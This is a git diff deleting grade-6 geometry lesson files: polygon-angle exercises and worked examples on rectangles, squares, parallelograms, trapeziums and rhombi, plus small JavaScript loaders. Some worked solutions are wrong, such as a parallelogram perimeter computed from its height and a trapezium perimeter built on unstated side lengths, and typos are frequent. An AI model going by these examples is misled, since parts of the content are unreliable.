- b) 4sides
- <br />
- <br />
- 9. Find the interior angle of a regular polygon whose exterior angle is
- <br />
- a)50
- <sup>
-  o
- </sup>
- <br />
- b)75
- <sup>
-  o
- </sup>
- <br />
- <br />
- 10. Find the number of right angles of the following polygons:
- <br />
- a) 12 sides
- <br />
- b) 5 sides
- <br />
- <br />
- 11.Find the sum of the interior angles of a polygon whose number of sides are:
- <br />
- a) 11 sides
- <br />
- b) 7sides
- <br />
- <br />
- 12. Use the triangulation method to find the angle sum of the following polygons
- <br />
- a) Hexagon
- <br />
- b) Nonagon
- <br />
- <br />
- 13. Find the number of trianges of a polygon whose interior angle sum is
- <br />
- a) 810
- <sup>
-  o
- </sup>
- <br />
- b) 630
- <sup>
-  o
- </sup>
- <br />
- <br />
- 14. Find the number of sides of a polygon whose number of triangles are:
- <br />
- a)7
- <br />
- b)12
- <br />
- <br />
- 15. Find the number of sides whose interior angle sum is:
- <br />
- a) 1620
- <sup>
-  o
- </sup>
- <br />
- b) 900
- <sup>
-  o
- </sup>
- <br />
- <br />
- 16. Find the interior angle sum of
- <br />
- a) a Duodecagon
- <br />
- b) Find the interior angle sum of an octagon.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a07/description.py b/Save_Mathematics/P6/map611m20/map611m20a07/description.py
deleted file mode 100644
index 38fe86b..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m20a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m20/map611m20a07/lesson.js b/Save_Mathematics/P6/map611m20/map611m20a07/lesson.js
deleted file mode 100644
index 486e580..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m20/map611m20a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m20/map611m20a07/source.txt b/Save_Mathematics/P6/map611m20/map611m20a07/source.txt
deleted file mode 100644
index 4c2891d..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a07/source.txt
+++ /dev/null
@@ -1,160 +0,0 @@
-<p>
- Independent Practice
- <br />
- <br />
- <span style="font-weight: bold;">
-  Answer the following:
-  <br />
-  <br />
- </span>
- 1.Find the perimeter of:
- <br />
- a) A regular triangle whose one side is 16cm.
- <br />
- b) A regular octagon whose sides iss 18cm
- <br />
- c) A regular square whose sides is 12cm each.
- <br />
- <br />
- 2. Find the area of:
- <br />
- a) A regular squae whose one side is 15cm
- <br />
- b) A regular triangle whosse one side is 20cm and apothem of 14cm.
- <br />
- c) A regular Nanogon whose side is 18cm and apothem of 16ccm.
- <br />
- <br />
- 3. Find the size of each centre angle of reular polygon of:
- <br />
- a) 10sides
- <br />
- b) 9sides
- <br />
- <br />
- 4. Find the number of sides of regular polygon whose centre angle is:
- <br />
- a) 40
- <sup>
-  o
- </sup>
- <br />
- b) 72
- <sup>
-  o
- </sup>
- <br />
- <br />
- 5. Find the size of each exterior angle of rregular polygon whose number of sides are:
- <br />
- a) 8sides
- <br />
- b) 6sides
- <br />
- <br />
- 6. Find the number of sides of polygon whose exterior angle is:
- <br />
- a) 36
- <sup>
-  o
- </sup>
- <br />
- b) 45
- <sup>
-  o
- </sup>
- <br />
- <br />
- 7. Find the exterior angle of a polygon whose interior angle is
- <br />
- a) 120
- <sup>
-  o
- </sup>
- <br />
- b) 150
- <sup>
-  o
- </sup>
- <br />
- <br />
- 8. Find the interior angle of triangles that can be obtained in a polygon of:
- <br />
- a) 8sides
- <br />
- b) 4sides
- <br />
- <br />
- 9. Find the interior angle of a regular polygon whose exterior angle is
- <br />
- a)50
- <sup>
-  o
- </sup>
- <br />
- b)75
- <sup>
-  o
- </sup>
- <br />
- <br />
- 10. Find the number of right angles of the following polygons:
- <br />
- a) 12 sides
- <br />
- b) 5 sides
- <br />
- <br />
- 11.Find the sum of the interior angles of a polygon whose number of sides are:
- <br />
- a) 11 sides
- <br />
- b) 7sides
- <br />
- <br />
- 12. Use the triangulation method to find the angle sum of the following polygons
- <br />
- a) Hexagon
- <br />
- b) Nonagon
- <br />
- <br />
- 13. Find the number of trianges of a polygon whose interior angle sum is
- <br />
- a) 810
- <sup>
-  o
- </sup>
- <br />
- b) 630
- <sup>
-  o
- </sup>
- <br />
- <br />
- 14. Find the number of sides of a polygon whose number of triangles are:
- <br />
- a)7
- <br />
- b)12
- <br />
- <br />
- 15. Find the number of sides whose interior angle sum is:
- <br />
- a) 1620
- <sup>
-  o
- </sup>
- <br />
- b) 900
- <sup>
-  o
- </sup>
- <br />
- <br />
- 16. Find the interior angle sum of
- <br />
- a) a Duodecagon
- <br />
- b) Find the interior angle sum of an octagon.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a08/a.txt b/Save_Mathematics/P6/map611m20/map611m20a08/a.txt
deleted file mode 100644
index 24da019..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a08/a.txt
+++ /dev/null
@@ -1,82 +0,0 @@
-<p>
- Evaluation
- <br />
- <br />
- <span style="font-weight: bold;">
-  Answer the following:
- </span>
- <br style="font-weight: bold;" />
- <br />
- 1. One of the interior angles of a regular octaagon is 120
- <sup>
-  o
- </sup>
- . What is the sum of its interior angles?
- <br />
- <br />
- 2. Find the interior angle sum of heptagon.
- <br />
- 3. There are 8 triangles that can be formed ina polygon. How many sides is the polygon?
- <br />
- <br />
- 4. Calculate the size of the exteerior aangle of a polygon if the interior angle is 135
- <sup>
-  o
- </sup>
- <br />
- <br />
- 5.Find the number of sides of polygon whose exterior angle is 150
- <sup>
-  o
- </sup>
- <br />
- <br />
- 6. Using the intuitive method to find pentagon.
- <br />
- <br />
- 7. FInd the perimeter of.
- <br />
- a) An equilateral trriangle whose one side is 6cm.
- <br />
- b) A heptagon whose sides is 17cm long.
- <br />
- <br />
- 8. Find the are of the following:
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- 9. Find te number of sides of a regular polygon whose centre angles as 20
- <sup>
-  o
- </sup>
- .
- <br />
- <br />
- 10. Find the size of each centre angle of regular polygon of 8sides.
- <br />
- <br />
- 11. Find the size of each exterior angle of regular polygon whose number of sides are 10.
- <br />
- <br />
- 12. Find the number of sides of a polygon whose exterior angle is 72
- <sup>
-  o
- </sup>
- .
- <br />
- <br />
- 13. Find the exterior angle of a polygon whose interior angl is 36
- <sup>
-  o
- </sup>
- .
- <br />
- 14. Find the number of triangles that can be obtained in a polygon of 7sides.
- <br />
- 15. Find the number of right angles of te following polygon: 8sides.
- <br />
- 16.Find the sum of the interior angles of a polygon whose number of sides are 9sides
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a08/description.py b/Save_Mathematics/P6/map611m20/map611m20a08/description.py
deleted file mode 100644
index aa1c6fd..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m20a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m20/map611m20a08/lesson.js b/Save_Mathematics/P6/map611m20/map611m20a08/lesson.js
deleted file mode 100644
index bb495d3..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m20/map611m20a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m20/map611m20a08/source.txt b/Save_Mathematics/P6/map611m20/map611m20a08/source.txt
deleted file mode 100644
index 24da019..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a08/source.txt
+++ /dev/null
@@ -1,82 +0,0 @@
-<p>
- Evaluation
- <br />
- <br />
- <span style="font-weight: bold;">
-  Answer the following:
- </span>
- <br style="font-weight: bold;" />
- <br />
- 1. One of the interior angles of a regular octaagon is 120
- <sup>
-  o
- </sup>
- . What is the sum of its interior angles?
- <br />
- <br />
- 2. Find the interior angle sum of heptagon.
- <br />
- 3. There are 8 triangles that can be formed ina polygon. How many sides is the polygon?
- <br />
- <br />
- 4. Calculate the size of the exteerior aangle of a polygon if the interior angle is 135
- <sup>
-  o
- </sup>
- <br />
- <br />
- 5.Find the number of sides of polygon whose exterior angle is 150
- <sup>
-  o
- </sup>
- <br />
- <br />
- 6. Using the intuitive method to find pentagon.
- <br />
- <br />
- 7. FInd the perimeter of.
- <br />
- a) An equilateral trriangle whose one side is 6cm.
- <br />
- b) A heptagon whose sides is 17cm long.
- <br />
- <br />
- 8. Find the are of the following:
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- 9. Find te number of sides of a regular polygon whose centre angles as 20
- <sup>
-  o
- </sup>
- .
- <br />
- <br />
- 10. Find the size of each centre angle of regular polygon of 8sides.
- <br />
- <br />
- 11. Find the size of each exterior angle of regular polygon whose number of sides are 10.
- <br />
- <br />
- 12. Find the number of sides of a polygon whose exterior angle is 72
- <sup>
-  o
- </sup>
- .
- <br />
- <br />
- 13. Find the exterior angle of a polygon whose interior angl is 36
- <sup>
-  o
- </sup>
- .
- <br />
- 14. Find the number of triangles that can be obtained in a polygon of 7sides.
- <br />
- 15. Find the number of right angles of te following polygon: 8sides.
- <br />
- 16.Find the sum of the interior angles of a polygon whose number of sides are 9sides
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/activities.js b/Save_Mathematics/P6/map611m21/activities.js
deleted file mode 100755
index ab5cc67..0000000
--- a/Save_Mathematics/P6/map611m21/activities.js
+++ /dev/null
@@ -1,14 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m21a01','blue'],
-['2','2','map6','basic','map611m21a02','blue'],
-['3','3','map6','basic','map611m21a03','blue'],
-['4','4','map6','basic','map611m21a04','blue'],
-['5','5','map6','basic','map611m21a05','blue'],
-['6','6','map6','basic','map611m21a06','blue'],
-['7','7','map6','basic','map611m21a07','blue'],
-['8','8','map6','basic','map611m21a08','blue'],
-['9','9','map6','basic','map611m21a09','blue'],
-['10','10','map6','basic','map611m21a10','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m21/map611m21a01/a.txt b/Save_Mathematics/P6/map611m21/map611m21a01/a.txt
deleted file mode 100644
index f760cd5..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a01/a.txt
+++ /dev/null
@@ -1,19 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Introduction
- </span>
- : Mathematical problems on quadrilaterals
- <br />
- <br />
- In our country, all things are made using difficult forms of shapes. We can use them for making the rooms, for making rooves, for making tables, for making gardens, for mking playground. You can choose your own shap depending on your wishes.
- <br />
- <br />
- In this milestone we will learn mathematical pproblems with quadrilterals(Renctangle,Square, Parllelogram, Rhombus and Isosceles( with four sides)) We will also study triangles(three sides) and Pythagora's theorem.
- <br />
- <br />
- There are so mny figures formed by 4 sides or 3 sides,
- <br />
- Are you able to give the examples of them?
- <br />
- Now try!
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a01/description.py b/Save_Mathematics/P6/map611m21/map611m21a01/description.py
deleted file mode 100644
index 5626a61..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a01/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a01/lesson.js
deleted file mode 100644
index 591ca0e..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a01/source.txt b/Save_Mathematics/P6/map611m21/map611m21a01/source.txt
deleted file mode 100644
index f760cd5..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a01/source.txt
+++ /dev/null
@@ -1,19 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Introduction
- </span>
- : Mathematical problems on quadrilaterals
- <br />
- <br />
- In our country, all things are made using difficult forms of shapes. We can use them for making the rooms, for making rooves, for making tables, for making gardens, for mking playground. You can choose your own shap depending on your wishes.
- <br />
- <br />
- In this milestone we will learn mathematical pproblems with quadrilterals(Renctangle,Square, Parllelogram, Rhombus and Isosceles( with four sides)) We will also study triangles(three sides) and Pythagora's theorem.
- <br />
- <br />
- There are so mny figures formed by 4 sides or 3 sides,
- <br />
- Are you able to give the examples of them?
- <br />
- Now try!
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a02/a.txt b/Save_Mathematics/P6/map611m21/map611m21a02/a.txt
deleted file mode 100644
index f9408cd..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a02/a.txt
+++ /dev/null
@@ -1,56 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice: Rectangle
-  <br />
-  <br />
- </span>
- Example1: Rectangle
- <br />
- <br />
- place of diagram
- <br />
- <br />
- L=Length
- <br />
- W=Width
- <br />
- <br />
- <span style="font-weight: bold;">
-  Area=L*W
- </span>
- <br />
- <span style="font-weight: bold;">
-  Perimeter (P)=L+W+L+W
-  <br />
-  P=(L+W)*2
-  <br />
-  <br />
- </span>
- 1. A rectangular garden has a length of 450cm and 26c.
- <br />
- a) Find its area
- <br />
- b) Find its perimeter
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution
-  <br />
-  <br />
-  L=450cm
-  <br />
-  W=26cm
-  <br />
-  Area=L*W
-  <br />
-  =450cm*26cm=20700cm
-  <sup>
-   2
-   <br />
-  </sup>
-  P=(L+W)*2
-  <br />
-  P=(450cm+26cm)*2=952cm
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a02/description.py b/Save_Mathematics/P6/map611m21/map611m21a02/description.py
deleted file mode 100644
index ff0db51..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a02/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a02/lesson.js
deleted file mode 100644
index f9c1eba..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a02/source.txt b/Save_Mathematics/P6/map611m21/map611m21a02/source.txt
deleted file mode 100644
index f9408cd..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a02/source.txt
+++ /dev/null
@@ -1,56 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice: Rectangle
-  <br />
-  <br />
- </span>
- Example1: Rectangle
- <br />
- <br />
- place of diagram
- <br />
- <br />
- L=Length
- <br />
- W=Width
- <br />
- <br />
- <span style="font-weight: bold;">
-  Area=L*W
- </span>
- <br />
- <span style="font-weight: bold;">
-  Perimeter (P)=L+W+L+W
-  <br />
-  P=(L+W)*2
-  <br />
-  <br />
- </span>
- 1. A rectangular garden has a length of 450cm and 26c.
- <br />
- a) Find its area
- <br />
- b) Find its perimeter
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution
-  <br />
-  <br />
-  L=450cm
-  <br />
-  W=26cm
-  <br />
-  Area=L*W
-  <br />
-  =450cm*26cm=20700cm
-  <sup>
-   2
-   <br />
-  </sup>
-  P=(L+W)*2
-  <br />
-  P=(450cm+26cm)*2=952cm
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a03/a.txt b/Save_Mathematics/P6/map611m21/map611m21a03/a.txt
deleted file mode 100644
index 2077687..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a03/a.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- Guided Practice: Square
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- S=Side
- <br />
- <span style="font-weight: bold;">
-  Area=S*S
-  <br />
-  Perimeter(P)=s*4
-  <br />
-  <br />
-  <br />
- </span>
- 1. A square playground has one side of 120m
- <br />
- a) Find its area.
- <br />
- b) Find its perimeter
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution
-  <br />
-  <br />
-  Area=S*S
-  <br />
-  Area=120m*120m=14400m
-  <sup>
-   2
-  </sup>
-  <br />
-  P=s*4
-  <br />
-  P=120*4=480m
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a03/description.py b/Save_Mathematics/P6/map611m21/map611m21a03/description.py
deleted file mode 100644
index 464bc08..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a03/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a03/lesson.js
deleted file mode 100644
index 0cc8193..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a03/source.txt b/Save_Mathematics/P6/map611m21/map611m21a03/source.txt
deleted file mode 100644
index 2077687..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a03/source.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- Guided Practice: Square
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- S=Side
- <br />
- <span style="font-weight: bold;">
-  Area=S*S
-  <br />
-  Perimeter(P)=s*4
-  <br />
-  <br />
-  <br />
- </span>
- 1. A square playground has one side of 120m
- <br />
- a) Find its area.
- <br />
- b) Find its perimeter
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution
-  <br />
-  <br />
-  Area=S*S
-  <br />
-  Area=120m*120m=14400m
-  <sup>
-   2
-  </sup>
-  <br />
-  P=s*4
-  <br />
-  P=120*4=480m
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a04/a.txt b/Save_Mathematics/P6/map611m21/map611m21a04/a.txt
deleted file mode 100644
index 208c7f5..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a04/a.txt
+++ /dev/null
@@ -1,33 +0,0 @@
-<p>
- Guided Practice: Parallelogram
- <br />
- <br />
- 1.Diagram
- <br />
- <br />
- Perimeter=sum of all sides
- <br />
- <br />
- Area=Base(B)*Height(H)
- <br />
- <br />
- 1.Find the area of a parallelogram with 24cm and height of 10cm.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution
-  <br />
-  <br />
-  Area=B*H
-  <br />
-  Area=24cm*10cm=240cm
-  <sup>
-   2
-  </sup>
-  <br />
-  <br />
-  P=24*2cm+10*2cm=68cm
-  <br />
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a04/description.py b/Save_Mathematics/P6/map611m21/map611m21a04/description.py
deleted file mode 100644
index e5320cd..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a04/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a04/lesson.js
deleted file mode 100644
index 52644dd..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a04/source.txt b/Save_Mathematics/P6/map611m21/map611m21a04/source.txt
deleted file mode 100644
index 208c7f5..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a04/source.txt
+++ /dev/null
@@ -1,33 +0,0 @@
-<p>
- Guided Practice: Parallelogram
- <br />
- <br />
- 1.Diagram
- <br />
- <br />
- Perimeter=sum of all sides
- <br />
- <br />
- Area=Base(B)*Height(H)
- <br />
- <br />
- 1.Find the area of a parallelogram with 24cm and height of 10cm.
- <br />
- <br />
- <span style="font-weight: bold;">
-  Solution
-  <br />
-  <br />
-  Area=B*H
-  <br />
-  Area=24cm*10cm=240cm
-  <sup>
-   2
-  </sup>
-  <br />
-  <br />
-  P=24*2cm+10*2cm=68cm
-  <br />
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a05/a.txt b/Save_Mathematics/P6/map611m21/map611m21a05/a.txt
deleted file mode 100644
index 14d2dec..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a05/a.txt
+++ /dev/null
@@ -1,73 +0,0 @@
-<p>
- Guided Practice: Trapezium
- <br />
- <br />
- 1.Diagram
- <br />
- <br />
- Perimeter(P)=sumof all sides
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   (B+b)*H
-  </span>
- </span>
- <br />
- 2
- <br />
- <span style="font-weight: bold;">
-  B: long base
-  <br />
-  b:short base
-  <br />
-  H; Hieght
-  <br />
-  <br />
- </span>
- 1. The height of a trapesium is 12cm
- <br />
- the parllel sides have 24cm and 16cm. Find the area and the perimeter of that tapezium.
- <br />
- <br />
- <span style="font-weight: bold;">
-  B=24cm
-  <br />
-  b=16cm
-  <br />
-  H=12cm
-  <br />
- </span>
- <span style="font-weight: bold;">
-  P=24cm*2+16cm*2=80cm
-  <br />
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   (B+b)*H
-   <br />
-  </span>
-  2
-  <span style="text-decoration: underline;">
-   <br style="text-decoration: underline;" />
-  </span>
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   (24cm+16cm
-  </span>
- </span>
- <span style="text-decoration: underline;">
-  )*
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  12m
- </span>
- <span style="font-weight: bold;">
-  =
- </span>
- 240cm
- <br />
- 2
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a05/description.py b/Save_Mathematics/P6/map611m21/map611m21a05/description.py
deleted file mode 100644
index 4ca0794..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a05/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a05/lesson.js
deleted file mode 100644
index 11ce1e5..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a05/source.txt b/Save_Mathematics/P6/map611m21/map611m21a05/source.txt
deleted file mode 100644
index 14d2dec..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a05/source.txt
+++ /dev/null
@@ -1,73 +0,0 @@
-<p>
- Guided Practice: Trapezium
- <br />
- <br />
- 1.Diagram
- <br />
- <br />
- Perimeter(P)=sumof all sides
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   (B+b)*H
-  </span>
- </span>
- <br />
- 2
- <br />
- <span style="font-weight: bold;">
-  B: long base
-  <br />
-  b:short base
-  <br />
-  H; Hieght
-  <br />
-  <br />
- </span>
- 1. The height of a trapesium is 12cm
- <br />
- the parllel sides have 24cm and 16cm. Find the area and the perimeter of that tapezium.
- <br />
- <br />
- <span style="font-weight: bold;">
-  B=24cm
-  <br />
-  b=16cm
-  <br />
-  H=12cm
-  <br />
- </span>
- <span style="font-weight: bold;">
-  P=24cm*2+16cm*2=80cm
-  <br />
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   (B+b)*H
-   <br />
-  </span>
-  2
-  <span style="text-decoration: underline;">
-   <br style="text-decoration: underline;" />
-  </span>
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   (24cm+16cm
-  </span>
- </span>
- <span style="text-decoration: underline;">
-  )*
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  12m
- </span>
- <span style="font-weight: bold;">
-  =
- </span>
- 240cm
- <br />
- 2
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a06/a.txt b/Save_Mathematics/P6/map611m21/map611m21a06/a.txt
deleted file mode 100644
index 6ac58cc..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a06/a.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-<p>
- Guided Practice: Rhombus
- <br />
- <br />
- 1. Diagram
- <br />
- <br />
- <span style="font-weight: bold;">
-  D: long diagonal
-  <br />
-  d: short diagonal
-  <br />
- </span>
- <span style="font-weight: bold;">
-  Perimeter=sum of all sides
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   (D*d)
-  </span>
- </span>
- <br />
- 2
- <br />
- <br />
- 1. Find the area of thee figures below:
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
-  <br />
-  <br />
- </span>
- When we talk about quadrilaterals, we understand figures with 4sides, and
- <span style="font-weight: bold;">
-  &nbsp;
- </span>
- opposite sides can be equal or not. e.g the angled trapezium are not equal.
- <span style="font-weight: bold;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a06/description.py b/Save_Mathematics/P6/map611m21/map611m21a06/description.py
deleted file mode 100644
index eaa4b67..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a06/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a06/lesson.js
deleted file mode 100644
index 2f8fc09..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a06/source.txt b/Save_Mathematics/P6/map611m21/map611m21a06/source.txt
deleted file mode 100644
index 6ac58cc..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a06/source.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-<p>
- Guided Practice: Rhombus
- <br />
- <br />
- 1. Diagram
- <br />
- <br />
- <span style="font-weight: bold;">
-  D: long diagonal
-  <br />
-  d: short diagonal
-  <br />
- </span>
- <span style="font-weight: bold;">
-  Perimeter=sum of all sides
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   (D*d)
-  </span>
- </span>
- <br />
